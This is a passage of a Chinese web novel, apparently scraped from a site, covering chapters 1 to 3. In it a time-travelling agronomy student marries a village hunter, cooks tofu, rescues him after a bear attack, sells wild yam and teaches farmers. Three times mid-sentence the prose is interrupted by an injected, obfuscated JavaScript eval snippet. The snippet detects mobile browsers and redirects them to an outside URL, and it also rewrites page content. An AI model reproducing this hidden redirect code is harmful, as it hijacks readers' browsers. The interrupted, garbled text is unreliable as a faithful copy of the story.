《古代酒楼经营手札》 1. 第 1 章 落日烧红了半边天空,群山在晚霞映衬下,泛起淡淡金光,伴随着唢呐声和鞭炮声,齐家村穆家老大娶了新妇。 “这云二娘她家也能同意?穆家老大那脸那么长一条疤,人又凶残,我路过都害怕。他家可是比云家还穷呢,就算说是娃娃亲,老一辈人随口一说的玩笑话也能当真?那不是害了这孩子吗?” “现在云二娘当家的可是芳嫂子,她那可是一块咸菜吃三个月不少一点的人,一听穆家说愿意花三两银子娶二娘进门,高兴都来不及,可是笑得嘴不合拢连连点头同意呢!” “要不是云二娘父母因为山洪都不在了,她又怎么会被欺辱至此,诶……” “嘘,少说两句,接亲的来了。”大婶扯了扯那人。 千璃搀扶着喜娘的手下了牛车,只穿着一身干净衣物,就连头上的红盖布都是穆家买了托人送过来的。 思绪恍惚一瞬,不经意回想起三天前的自己,在写完土壤的修复与改良的论文,闲暇之余想出门探店美食的时候,一阵电流滋啦响起,她两眼突然一黑。 意思朦胧间。 丁玲桄榔的翻箱倒柜声响起,“璃丫头,你看看你这,嫂嫂也是为你好,这屋你住啊,太大!给你宝弟弟学习用正正好,等他考上秀才,诶呀!那就是天大的喜事,到时候给你一间更好的屋子哩!” 那声音尖细又刻薄,一只冰凉粗糙手指狠狠拧了千璃胳膊一把,疼痛让她瞬间清醒过来。 “况且你也不是不知道,外来户的孤女可是不能待在咱们村的,你要么嫁给穆玄入户籍,要么老老实实把地契给我!” 抬眼扫过斑驳剥落黄土墙和露了一小块的屋顶,空气中久久弥漫着一股霉味和土腥味不散。 只一瞬,千璃就理清了现况,她撑起因过度饥饿导致的无力身子,一双眼冷冰冰地盯着云大嫂。 无论这妮子嫁还是不嫁,这好处她都少不了,云大嫂有些嫉恨,怎么什么好事儿都被她碰上。 “我嫁。” “不过……” 舔了舔干涩起皮的嘴唇,千璃现在饿到想啃人,“最好不要把我逼急了,你也不想一具女尸挂在你家门口吧。” “你!” 云大嫂气得指着千璃气急败坏道:“好,明天就办婚礼,我看你还能不能笑得出来!” 她摔门离去,震起一片灰尘。 “咳、咳。” 原主同爹娘是逃荒来到这个穆家村的,他们在这里定居,生下一个儿子一个女儿,大儿子从军战死沙场,独留下孤儿寡母照顾公婆;小女儿从小就被爹娘溺爱,从不做农活重活,一双手白嫩无厚茧,可以说是少有的被娇宠长大的村里人。 可惜天有不测风云,前段时日收成不好,原主爹娘就想着上山找找有没有值钱东西,却没想到大雨突然来袭,引发了山间滑坡,至此离世,独留下原主一人。 而本该相依为命的大嫂更是露出了真面目,直把人姑娘欺负得奄奄一息。 为了活下去,千璃只能选择嫁人,夫家如何她一概不知,但好歹不会像现在这样,一口热饭都吃不上。 晃了晃脑袋,千璃不再多想,她的手被新娘稳稳递到新郎的手里。 那双大手一愣,只虚虚握住那细白绵软,不敢用力。 他小心领着千璃跨过火盆, “一拜天地!” “二拜高堂!” “夫妻对拜!” “送入洞房!” 穆家似乎很看重这门亲事,窗户上门上都贴了红纸剪成的‘囍’字,主桌一对铜底座红蜡烛,院内更是摆了六七桌,菜色虽简单,却每一桌都摆有少见的油水。 切得碎碎的猪肉与韭菜、黍米用大量的水煮成一碗碗糊糊;野荠菜、野蕨菜也是水煮成一大碟;难得的鱼肉被片成一片片摆在竹编上;竟然还有奢侈的用鸡骨架熬出来漂浮一层黄色油脂的鸡汤! 哦哟,来客无不啧啧称奇。 对于一年到头来都不一定能吃上肉的贫苦农家人来说,已经算极其奢侈丰盛的婚宴菜色了。 没看到人家云大嫂嘴巴都没停下过吗? 整个过程进行得不可谓不迅速,很快千璃就在孩童奔跑的欢呼声,和一些亲戚的道贺声里,被带着进了新房。 在一片喜庆喝彩声中,穆玄拿起细木板挑起了红头盖。 千璃白皙的脸庞在烛火下更显柔美,一双杏眼润润望向他,却是始终面无表情。 是了,这场婚礼本就是强迫的,更何况自己的脸……如此丑陋,怎么会有人喜欢自己呢。 穆玄嘲讽一笑,本来激动的心好似被泼了一盆冰水,瞬间冷却下去。 爹娘临走前最大的心愿就是看自己娶云家女为妻,尽管自己百般推辞,可那日母亲临终前的眼神…… 罢了。 如果……如果云千璃不愿意的话,他不会碰她一丝一毫,之后也会写好和离书,只要她愿意帮忙照顾一双弟妹三年就好。 两人喝了合卺酒之后,宾客也陆陆续续散了回家。至此,二人正式结为夫妻。 红烛摇曳,纱帐低垂。火光将穆玄的影子拉长,他站在床前,影子同千璃轻轻重叠。 “千璃姑娘,”穆玄声音平稳,并未直视,“今日之事一为母亲遗愿二乃权宜之计。我知你不愿,三年后我会主动同你和离。” 他将责任与界限划得干干净净,“只要你帮我照顾好穆冬穆春三年,户籍问题后日我就去办妥,你无需担忧。” 千璃原本已决定放弃什么放手一掷,此刻听到如此清晰利落的条件,反而心中一定。这已经是再好不过的结果了,没什么不能答应的,千璃轻声应道:“好。” 二人虽同床而眠,却是一夜无事发生。 第二日,穆玄的弟弟穆冬和妹妹穆春早早起床喂鸡打扫院落。 “大哥,你怎么起那么早啊,你不多陪陪大嫂吗?” 穆玄摸了摸穆春的发髻,“我去山上一趟,看看陷阱里有没有收获,家里吃的不多了。让你们大嫂继续睡,别吵醒她。” 穆冬拎着扫把震惊望着眼前全副武装的穆玄,哪有人新婚第二天还出门的哇! 等到千璃起床的时候已经日上三竿,灶台里温着昨日剩下的肉糜糊糊,被炖得稀烂,加上一点点盐粒,竟也意外饱腹。 这里的烹饪方法似乎还比较原始,只有水煮加炙烤两种。 千璃吃过铁锅制作的佳肴,此刻面对如此清汤寡淡的食物,只觉得未来无望。 忽然,她看到角落里有一袋黄豆,看上去很少动过。 “穆春,来,给大嫂说说,这个你们不吃吗?” “大嫂,这个不好吃!”穆春脸色突然涨红,“会、会放很多臭臭……” 哈哈哈,千璃难得有了笑意,“那你可以期待一下,大嫂今天就给你们做个好吃的。” 穆冬和穆春对视一眼,有点不明白十指不沾阳春水的大嫂为何突然要浪费粮食,虽然只是最廉价的菽。 他们有心劝阻,却又想起大哥出门前的话语,只能陪着千璃一起‘闹腾’。 千璃将黄豆用水浸泡三个时辰后,再一点点倒进石磨里磨成豆浆,柴火烧开,加入一点盐卤,慢慢地搅拌。 很快豆浆就开始呈现絮状,不多一会儿就凝固了。 “哇塞大嫂,真的成型了诶!”穆春惊喜地感叹。 “还没好呢,别着急。”千璃接着用细纱布将豆浆块包好,三人在合伙拿上重石块压上去沥干水分,大概一个时辰的时间,就能揭开纱布了。 等千璃将豆干拿出来时,就连一向稳重的穆冬都忍不住上前打量。 “大嫂大嫂,这是什么啊?可以吃吗?” 千璃掰下一小块分给嘴馋的两人,自己也拿起一块嘻嘻咀嚼,“这是豆干,可以炒着吃,如果有水芹菜就更好了。” 穆冬穆春只觉得平日里避之不及的菽现在变得香浓可口嚼劲十足,细细品味还有一丝豆奶香,简直好吃极了。 一时之间两人对千璃崇拜无比,她说什么都积极参与,“大嫂,我知道哪里有~我们田里前几天就长了几株呢。” “那太好了,大嫂给你们做一道好吃的菜好不好呀?” “好!” 于是等穆玄带着野鸡野猪回到家的时候,发现原本应该出来迎接自己的穆春穆冬不知为何不在,厨房里更是飘出阵阵香气,直勾得腹中馋虫大动。 “哥!你快来,大嫂做了好吃的!”穆冬眼尖地发现了穆玄,拉起他的手往厨房里走。 于是今夜一道水芹炒豆干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144247|196355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被瓜分得一干二净,众人吃得心满意足极了。 穆玄也没想到千璃还有这手艺。 等他俩洗漱过后,千璃顺了顺乌黑长发,主动搭话,“穆玄,你知道你们的农田出现问题了吗?” 来自农学专业的千璃忍不住想指指点点一二,毕竟一家四口往后都要靠这吃饭。 穆玄擦拭玄黑长剑的手忽顿,“什么?”他倏地扭头望向千璃。 就算他是猎户,也深知农田的重要性,手中爹娘留下的的耕田和水田都被他照顾仔细,从不出差错。 涉及专业问题,千璃语气笃定,“田里的积水太多了,这样对稻苗不好,稻根缺氧,呼吸不过来,会很容易被泡坏。你别看那些苗根依旧青绿色,其实又细又软,大风一吹就会全部卧倒下。” 穆玄心里有些惊讶,前段日子天气炎热,好不容易遇到雨天变多,自己怕田干旱,却是未曾主动排水。 他不禁眉头紧紧锁起。 “然后,”她转过身,“过多的灌溉水和雨水一起冲击浇过的粪肥,田里肥力就会流失过多,导致稻苗营养不良。如果你接下来要追肥的话,最好把黄豆……菽做成豆肥同粪肥一起用河泥拌匀,再放下去,这样的话农田的肥力不久就会恢复良好。 穆玄听完,看向千璃的目光有惊讶有赞赏还有疑惑,“你如此博学,怎么还会被自家嫂嫂欺辱至此?” “你也知道,穆家村从不留外人。爹娘给我留下的房屋虽然残破偏僻,却也全了我对他们的思念。我只想方设法保住它,也是保住我曾经的回忆。”千璃耐心解释,理由三分真七分假。 毕竟,穆玄看起来不像村民口中那样不堪,可以说一些真话。 穆玄沉默了一会儿,再开口已散去那分探究,“千璃姑娘,多谢你的提醒了,待会我就去田里疏通水流。” 夜风凉凉吹过稻田,青稻轻轻摇曳。 因着这一事,千璃同穆玄相处之间竟是少了几分陌生和拘谨,多了几些默契氛围。 某日清晨,云澜迷迷糊糊间被穆春摇醒,“大嫂!大嫂!不好啦,哥哥还没回来,呜呜呜怎么办呀……” 昨天清晨穆玄告知他们自己估计要在山里待上一天,不过次日凌晨就会到家,让千璃几人不必等他。 却不想有个拾柴老汉在靠近深山边缘捡到了穆玄的染血衣袖,因着衣物都有绣上名字,他不敢耽搁,连忙下山来告知穆家人。 “诶,就在老林边上,血糊了一大片,旁边还有熊瞎子的粪便,老汉我也不敢走太深,你们还是叫上村里的人一块儿去寻吧……我是不敢往里探了。希望来得及,也许还能找到,诶。” 拾柴老汉说完摆摆手,像是怕沾染什么晦气,匆匆走掉了。 “什么?熊瞎子!” 千璃猛地坐起身,不敢耽搁,穿上衣物后她多披了一件穆玄的外套,此时山林云雾环绕,露中气温低,不防寒定会感冒。 又从墙上取下一把带鞘匕首挂在腰间,戴上斗笠和背篓,背篓里装有火折子、绳子、伤药和盐巴。 她一手握住一个人,神情肃穆,“现在大嫂要进山去找你们大哥,不要害怕不要惊慌,我相信你们是很坚强的好孩子,锁好门谁也别开,直到我们回来,知道吗?” “……嗯!” 穆冬的小脸霎时惨白如纸,却死死咬住嘴唇没有哭出声,他强撑起哥哥的担当,把哭的早已满脸是泪的穆春紧紧搂在怀里,道:“嫂嫂,你不用担心我们,你上山之后一切小心,如果……” 说到如果两个字,他明显哽咽住,怕结果太过残忍,他说不出口。 却也知道,如若万一,哥哥如果真的出现意外,大嫂再不能也进去了。 千璃只觉一股寒气从脚底直冲天灵盖,但旋即又被她强压下来,慌乱和抱怨没有任何作用。 唯有冷静,冷静才能思考,思考才能破局。 “没有如果。”千璃斩钉截铁地打断他,“你们大哥很厉害,决不会轻易出事,等我带他回来。”没时间腻腻歪歪了,她最后看了俩小孩一眼,毅然决然地走进深山之中。 因为研究课题,她有极其丰富的徒步经验和应对措施,她想起那个沉默寡言却很贴心的男人,不该也不愿他走得如此仓促。 只要还有存活的概率,她来救!! 2. 第 2 章 千璃沿着老汉指的方向,已经深入到村民都不敢踏足的区域。 日头渐高,但古木遮天蔽日,林子里光线昏暗无光,不知名的鸟兽啼叫更是添了几分阴森诡谲。 忽然,她脚步一顿。前方灌木丛有一片被撞击的痕迹,旁边的树枝折断,断口新鲜。 千璃剥开凌乱枝叶,呼吸几乎停滞。 只见一大片喷溅状的血迹撞入眼帘!暗红色早已渗入泥土,一旁散落几根粗硬黑毛,盘着腥臭粪便,那巨大足迹一路走入密林深处。 她沿着滴落的血迹一路小心追踪,约摸半柱香后,那血迹才在一处陡峭山坡前消失不见。山坡上隐有水流声和窒闷回响,千璃有了头绪,她在附近来回走动小心探查,终是被她发现一处极其隐蔽的山洞。 山洞黑暗压抑,看不清内部,却有断断续续的微弱呼吸声响起。 一种直觉攫住了她,千璃拨开密密麻麻的藤蔓。 “穆玄?”她试探着压低声音喊了一句。 那呼吸声顿住。 千璃不再犹豫,左手打起火折子,右手用匕首挑起藤蔓,侧身挤了进去。 山洞内洞气不流通,弥漫着一股浓重的血腥味。只见角落里,静静躺着一个熟悉的身影,正是穆玄! “穆玄!” 千璃瞳孔一缩忙扑身上前,只见穆玄脸色苍白,冷汗直流,身上大小伤口不清,肩膀上一道深可见骨的撕裂伤,皮肉翻卷。 而最严重的竟是右脚脚踝那个锈迹斑斑的铸铁捕兽夹!那锯齿深深嵌入皮肉,穆玄脚踝血肉模糊,肿胀发黑。 虽然伤口处都被他糊了一层草叶,但似乎效果不太理想。 千璃看着眼前狼狈的男人鼻子一酸,忍不住眼光泛红。她轻轻碰了碰穆玄还完好的另一个肩膀,“穆玄!穆玄!能听见吗?” 穆玄睫毛颤动,极其艰难地掀开一条眼缝,许久才聚焦在她脸上,却说不出话,只发出模糊气音,眼神里透出急切和难以置信,似乎在想她怎么找到他的。 “别说话,保存体力。” 千璃不容置疑地压下穆玄企图起身的动作,拿出在路上采摘的龙血草,放入口中细细嚼烂嚼碎,再用匕首割下自己的衣摆,小心包住穆玄还在流血的伤口。 龙血草具有抗炎镇痛,快速收敛止血的奇效,比之一些金疮药的功效更是突出。 趁着这个功夫,千璃放下背篓,将糖和盐灌入水壶,摇匀后喂给穆玄,等他稍微清明一些的时候。 千璃趁胜追击,“我要打开这个夹子,会很痛,你要忍住。” 她拔出匕首,用巧劲卡进一处缝隙,踩住兽夹双脚用力一踩! “呃——!”穆玄身体猛地一弹又被他狠狠压住,脖颈青筋暴起,牙齿使劲咬住下唇,咬出血也没发出一声喊叫。 千璃抬头有些敬佩地给了一个眼神,太硬汉了。 “咔哒……吱嘎……”捕兽夹被打开,她不敢松懈,继续清理伤口再嚼嚼嚼草药按压包扎。 等做完这一切,千璃已是满头大汗,她看向穆玄逐渐平稳的呼吸,决定趁恢复体力的时间,观察一下四周。 山洞深处光线虽暗,但植物生长茂盛,她举着火折子小心弹过去,心跳忽然漏了一拍。 这是……? 一大片藤蔓植物相互缠绕,叶片肥厚呈心形,油绿发亮。在潮湿的泥土中,露出一大片的棕褐色根茎。她挖出一截,断面上粘稠胶状物,内里雪白,闻一下是清香的土腥味和极淡的苦味。 这是山药?! 而且这么巨大粗壮的一片山药群,是薯蓣类中的极品。古籍中记载山药功效“补虚赢,除寒热邪气,增强健脾,补肺益肾。性味甘甜,食疗圣品。” 发财了啊,千璃没想到出来一趟还能有这么惊喜的收获,只要将这些卖了,何愁第一桶金不来。 但现在救人要紧,千璃压下内心的激动,动作迅速地采了几截山药放入背篓。 又回过头去观察穆玄的情况。 许是龙血草生效,男人的脸恢复了一丝血色,“你不该来的。”他声音沙哑带着后怕,“太危险了。” “我不来,你就要孤零零的死在这里了。” “我扶你站起来,现在必须马上离开,尽快下山,这里血腥味太重,很不安全。” 穆玄被千璃艰难搀扶起来,一瘸一拐地走着,望着千璃汗湿的鬓角和打抖的双腿,他喉头哽得厉害,心脏一片滚烫酸涩。 明明她没必要做到这地步。 是了,自己终是欠她一条命。穆玄千言万语堵在胸口,却最终化作一句沉甸甸的:“谢谢。” 千璃头也没抬,“省点力气吧,一切都等回家再说,穆冬和穆春都被你吓哭了。” 等到他俩走到山脚,遇到了来寻找他们的村长等人,穆冬和穆春更是哭喊着扑上来,却被千璃一只手轻轻拦下。 “哥?你受伤了!”穆春发现血迹惊声大呼。 “没事,别怕。哥哥很快就好了,你们跟着嫂嫂。”穆玄说罢,再也坚持不住,力竭昏迷过去。 村里几位青壮年从千璃手中接过穆玄,一起将他抬了回家,又有人赶忙将村里常找的赤脚大夫请来。 消息像风一样传遍穆家村,村民们激烈讨论着,谁也没想到穆家新娶的媳妇,竟如此勇猛,孤身一人进入深山老林,把遇到黑瞎子还被抓得重伤的穆玄硬生生地拖了回来! 这是何等牛皮一女人啊! 人群外围,闻讯赶来的柳玉娥看着被众人簇拥,东一句夸赞西一句感叹的千璃,又看着晕倒被小心翼翼抬进卧室的穆玄,指甲深深地掐进掌心。 她脸上惯常的娇笑早已消失不见,只剩下满脸的嫉恨与不甘。 穆哥哥……什么人也配和你郎才女貌天作之合!明明是我先遇上的你,要不是你说要遵守娃娃亲,我早就做了你的妻子了。 一个外来女凭什么在我们穆家村? “爹!你帮帮我!”柳玉娥摇晃着柳村长的手,不依不饶道:“你不是一直惦记云家那块地吗?把她赶走不就是我们的了?!” “好好好乖宝,你让爹想想。”村里的里正柳富贵眯起眼睛细细思索,不知在盘算着什么。 柳玉娥看到柳富贵那意动的样子,就知道千璃被赶出穆家村这件事稳了。 半月后,穆玄的伤已好得差不多,千璃指挥着他取出蒸好的山药,那截白如雪的长棍散发出一阵清香,她每人分了一段试吃。 轻轻咬下一口,只觉口感软糯香甜,饱腹感强。 穆玄眼中闪过一丝诧异,“味道很好。” 穆冬穆春早已吃完还在舔手指,十分肯定道:“大嫂,这真的太好吃啦!一定会有很多人买的。” 千璃早已同穆玄说过山里的野山药,他没想到那一碰就瘙痒难捱的东西竟也能变得如此美味。 炮制好的山药干和山药片都已积攒了几大袋,千璃决定明日去一趟镇上。 “明日我同你一起去。”穆玄语气不容置疑,镇上人多眼杂,千璃一个弱女子又带着新奇的东西,实在不安全。 次日一早。 晨光熹微,东方泛白,两人便带着山货和山药一起出发,清风拂过青稻,荡起一波涟漪。 青城镇比想象中还要热闹许多,石板路两旁商铺林立,摊贩叫卖声不绝于耳,各种杂货数不胜数。 穆玄对这里似乎很熟悉。 他带着千璃径直走到一家镇东边较偏僻的杂货铺“裕丰楼”。 掌柜是个留着山羊胡的中年人,见到穆玄,眼睛一闪又恢复正常,语气中带着不易察觉的敬重,“穆……穆兄弟,今日来是为何事呀?” 穆玄将背篓放下,示意千璃上前。 千璃拿出山药、山药片和山药干,介绍道:“掌柜请看,此物乃薯蓣,是我在深山偶然所得。经过蒸煮后可直接食用,亦可煲粥、当零食也可做药膳,耐存放可充饥。” “哦?”掌柜将信将疑地接过,放入口中细细咀嚼几下,眼中一亮!酥脆鲜香,回口清甜,有一股特殊香味,只让人想一口接着一口吃下去。 “此物甚是新奇呐!”掌柜沉吟,“不知姑娘出价多少?这些我全都要了。” 千璃看了穆玄一眼,穆玄几不可察地点了下头,示意她自己做主,掌柜在一旁看到这个眼神交流,有些惊讶。 “掌柜是行家,您看这值多少?若价格合适,之后的新货我们可以只供应您一家。” 掌柜捻着长须,打量了一下穆玄沉静的脸庞,伸出五根手指,道:“这薯蓣片和薯蓣干我收你五十文一斤,鲜薯蓣,我收你二十文一斤。如何?” 要知道,此时专供富豪的精面也才四十五文一斤,这价格已是远超普通粮食,极其厉害的了。 千璃心中快速盘算,忙不迭地点头道:“好,掌柜爽快人。”随后她又将剩下的龙血草一并卖出,山药赚来的3两银子100文钱加上龙血草的5两银子。 千璃一夜暴富。 她又拿出一个小布包双手递给掌柜,“里面是我晒干的野薄荷,可拿来泡水喝也可做茶饮,清热解毒,别是一番风味,掌柜的您赏脸尝尝鲜。” 掌柜开心地接下。 等走出裕丰楼,千璃摸着怀里沉甸甸的银钱袋,内心一阵满足,只恨不得高歌一曲。 穆玄望着千璃开心的表情,也觉得高兴极了,微微勾起嘴角。 两人又去粮店买了一些大米和盐,在经过镇中心的一家门面古旧的当铺时,穆玄的脚步却明显慢了下来,他目光沉沉地看向柜台方向。 要不是千璃一直注意都险些没发现。 “怎么了?” 千璃顺着他的目光望去,只见高高的柜台上,伙计正百无聊赖地打着算盘,下边还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144248|196355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个老妪正在典当东西。 “没事,走吧。”穆玄不欲多言。 千璃可不依着他,强拉住他停下,“快说。你不说我可自己去问了啊?”说罢假装要进当铺里去。 穆玄赶紧拉住她,沉默良久才低声道:“去年冬天穆春生了一场大病,我将娘的银簪当了才凑够药钱,没当死,当期……只剩下五天。”他的声音毫无波澜,千璃却明白他未尽的痛楚与无力。 每个人都有无能为力之时。 穆玄也不是想博取同情或者是让千璃给自己钱,只是一个问了一个回答,就算当期过了穆玄没赎回来,他也认了这个结果。 但千璃想也没多想,将刚刚得来还没捂热乎的五两银子一股脑地塞进穆玄手中。 “去赎回来。” 穆玄猛地看向他,眼中震动,“这是你……” “这是我们一起赚的。”千璃打断他,语气坚决,“钱可以再赚,可遗憾可没有重来的机会。” 而且山药是穆玄扛回来的,削皮、清洗、切片、烧火、晒干整理,哪样没有穆玄的影子,她只是用前人的经验在一旁指点。 穆玄深深地看着她,喉结滚动,最终什么也没说,攥紧那五两银子大步走进了当铺。 千璃等在门外,听到内里的交谈声,不多时,穆玄就带着走了出来,手里紧紧握着一个褪色绸布小包裹。 他走到千璃面前,摊开手掌,里面是一只样式简单,打磨光滑温润的银簪,簪头饰小小的梅花样式。 “谢谢。”穆玄声音有些沙哑,郑重地道了谢。 千璃微微一笑,摆了摆手。“收好,别再丢了,我们快回家吧。” “嗯。” 快走出青城镇时,耳边酒楼坐着几个闲聊的人。 风传来隐约的交谈声。 “镇北将军还没找到呢?都三年了。” “害别说了,当时上边就说是顺着水流飘到我们这犄角旮旯里,找了那么久,影都没有一个。” “没有他在北边守着,那帮匈奴愈发嚣张了,最近还扬言要一举踏破雁门关!真是气死我了!” “诶、莫兄息怒,相信季轩钰将军很快就会出现的,到时候狠狠打跑那帮蛮子!” 季轩钰?镇北将军吗,看起来很厉害的样子。 千璃脑海转过一瞬,没怎么在意,转头就把这个闲谈忘了。 却没想到等回到村里的时候,云大嫂带着一伙人站在穆玄家门口,哭哭啼啼地抱怨着什么。 她看到千璃瞬间眼前一亮。 糟心玩意,千璃心想。 “千璃呀,你就算再怎么样也不能糟蹋粮食糟蹋田地呀!”云大嫂假意摸了摸眼角,“咱们和田地打交道的,甚至一粒米一年辛苦,你看看你这……” “穆家的,你可别听那些不懂装懂的人,乱给耕田倒些乱七八糟的东西,害人害己呐!” 原来是为了这事,千璃有些好笑。 按理来说,这大婶很久没来薅自己羊毛了,是谁鼓动她的呢?是谁呢…… 她扫视一圈,按照作案者会回归现场原理,盯住了一个人——柳玉娥。 望着那女子脸上得意不屑的神情,她微微笑了,是你呀。 千璃上前一步,“云大嫂,但凡你有去看看田里稻种的生长情况,就不会来我这门前做戏了。一般来说一亩田是亩产260市斤左右,但按照我的法子,穆家的耕田能亩产360市斤左右,足足涨了……” “一百斤!”围观的人抢答。 “天呐!这怎么可能?” 望向云大嫂瞬间惨白的脸,千璃笑容满面,“怎么不可能呢?你们大可以现在就去田里看看,毕竟粮食就在那里也不会跑。对吧,云大嫂?” “我想不明白,你一直针对我是做什么呢?难不成是有人指使?” 云大嫂瞬间冷汗直冒,不敢多待怕露馅,没想到这妮子竟有这神奇配方,不给自己用到便宜了外家人! “呵呵、二娘你说什么呢,大嫂就是好奇,哈哈、好奇……”说罢慢慢后退连忙跑走了。 “诶,我就说这云大嫂平日里就不是个好东西,你们还骗听她说的事,咱们二娘怎么可能是那种人嘛!对了,二娘,你看这我能不能向你指教指教,嘿嘿。” “去去去、一边儿去,二娘你来我家田里看看行不行?” 千璃不意外这些人见风使舵的特性,利能杀人也能救人。 “好,乡亲们,我同穆玄先回家里去,明日我就来帮你们看看。” “好好好!二娘您先忙哈,我就不打扰了~” 穆玄本来想解释,却没想到看了一出好戏,“你就这么白白给他们指导了?” 千璃白他一眼,“怎么可能!我可是要收费的。快回家吧,我累死了。” 穆玄接收到那娇俏一瞥,不自觉地摸了摸鼻尖。 3. 第 3 章 第二日,天边刚泛起鱼肚白,穆玄家那块稻谷沉甸甸的田埂边上,站满了不少穆家村村民。 他们脸上混合着好奇、怀疑和一丝不易察觉的期待。 毕竟千璃这具身体的原主以前给他们的印象就是好吃懒做、娇生惯养,不务农事。 本来他们昨晚也是抱着凑热闹的心态去看戏的,但今日望着穆玄这几块收获丰满的农田,无一不是卯足了精神,等着千璃的到来。 云大嫂也在人群中央,脸上堆着假笑,眼神却像淬了毒一般,她跟旁边一同交好的妇人嘀嘀咕咕着些什么,就等着千璃出丑。 里正柳富贵也来了,他背着手站在稍远的地方,面无表情,但如果真的能增加亩产,对他来说绝对是大功一件。柳玉娥则躲在她爹身后,嫉恨的目光死死地盯着千璃,又时不时飘到一旁身姿挺拔的穆玄身上。 见人来的差不多,千璃清了清嗓子,走到田埂高处,开口声音清亮,毫不怯场。 “各位叔叔伯伯婶婶大娘,今天我来指教一件事,怎么让稻子长得更结实,谷粒更粗壮。” 她开口直奔主题,没有弯弯绕绕,让一些抱着挑刺心理的人都不自觉沉下心来倾听。 “首先看水,”千璃指了指穆玄家的田,“稻子不是水葫芦要一直喝水才能长高长壮,有时候让田稍微渴一下,晒晒太阳,稻根才会更拼命往下扎根找水喝。根扎得深了,杆子才会更硬,以后抽穗了才更能扛得住风雨不易倒。” 她边说边走下田埂,弯腰拔起一株稻苗,举手示意众人上前细细观看,“你们看,这就是一直在深水泡着的苗,根须又短又黄还挤在一堆;而这时晒过的苗,根须是不是又长又白又健壮?” 有经验的老农凑近仔仔细细里里外外地翻看着,不由得点点头,“诶穆玄他媳妇,是这理儿啊,怪不得我一直觉得稻苗软趴趴的,原来是被水溺着了。” 其余人也一一点头赞同。 他们决定回去就放水晒田,争取明年长出又大又壮的稻谷。 千璃又展示了莎草、稗草等常见杂草的区别,以及如何分清和清除。她说起这些知识来自信昂扬,也确实细致实用,不少负责田间劳作的妇女听得啧啧称奇格外认真。 “最后,最重要的一点是,沤肥。”千璃走回田埂,示意穆玄帮自己拿出那袋做好的‘营养土’,“施肥不是把粪便随便往田里一堆就完事。” “要像我这样,”她用手在稻苗根部旁挖一个小洞,拿出出一小撮营养土埋进去,再覆上泥土,“这叫点肥,苗子直接吃上饭,肥力不会流失。” 这一套“看水、除草、施肥”的组合拳下来,围观村民从一开始的看热闹,渐渐变得安静。不少人脸上露出一片恍然和信服的神色,就连柳富贵都不得不拍着良心说,这是利民的天大好事。 “穆家媳妇,你这‘营养土’,怎么做的呀?”有胆大的汉子高声问道。 终于来了。 千璃知道这才开始进入正题,“这是我自己制作的,穆玄家的田就是用了我的这个才好长势那么好。”她故意停顿一下,等村民消化,“不过……我这可不免费。” “害,我们那还能占你便宜不是?你只管说价!” 千璃赞赏地看着那个托,抬高一点下巴,道:“一两银子,包教包会。”她可不做善事,只有投入成本,这些人才会更加珍惜。 “一两银子?!”普通耕农一年顶高了也就挣个十两银子,还不包括其他支出,但大家伙仔细想想,毕竟田地是一辈子的事,如果以后能提高亩产,一两银子那可真是不亏。 许多村民咬咬牙决定买了,买不起的也在想办法凑钱,毕竟不久就要春耕了,时间紧迫,自家可不能落下。 “要买的可以私下找我,现在,你们有其他疑惑也可以来找我解答。”千璃从容不迫,她知道今天这么一趟下来,不是为了赚钱,而是为了把穆家村的人绑上这条名为利益的大船。 只要船一天不沉,她就一天不倒。 于是一场教学下来,质疑声变得几不可闻,取而代之的则是热烈的赞扬和讨论声,许多村民围着自家的田,开始比划起来。 柳玉娥望着被众人隐隐围在中心的千璃,再望着她身边专注且欣赏地看向千璃的穆大哥,只觉得一股邪火涌上脑门。 尤其是看到自己父亲都摸着胡子说:“穆家这媳妇,确实有点东西。”的时候,更是掌心几乎要被指甲掐出血来。 “得意吧,我看你能得意几天!”她在心底恶毒地咒骂,悄悄地转身离开了人群,她的人想必现在已经溜到穆玄家得手了。 千璃在穆家村的地位悄悄发生了转变。 自田埂教学之后,几乎每次出门遇到村民,大家都客客气气的,甚至还很恭敬。 穆冬穆春出门,腰杆都挺直了许多。 但千璃却有些心事重重,那天回家以后,她发现自己妥善保存在箱底的,原身父母的地契竟然消失不见了。 怀疑对象是有的,但没有证据也不敢声张,不然只怕会打草惊蛇。暗自焦虑间,食欲都消退了许多。 穆玄都看在眼里。 这日傍晚,千璃对着桌上的简单菜色,依旧是只动了几筷子就放下了。穆玄收拾好碗筷没有多说什么。 只是入夜后,千璃被轻微响动吵醒才发现,穆玄竟带着长刀出了门,他矫健的身影融入夜色,那份违和的力量感,绝非穆家村普通猎户应该有的东西。 千璃将这个疑惑藏进心底。 天刚蒙蒙亮,穆玄就拎着一只肥硕的野山鸡回到家中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 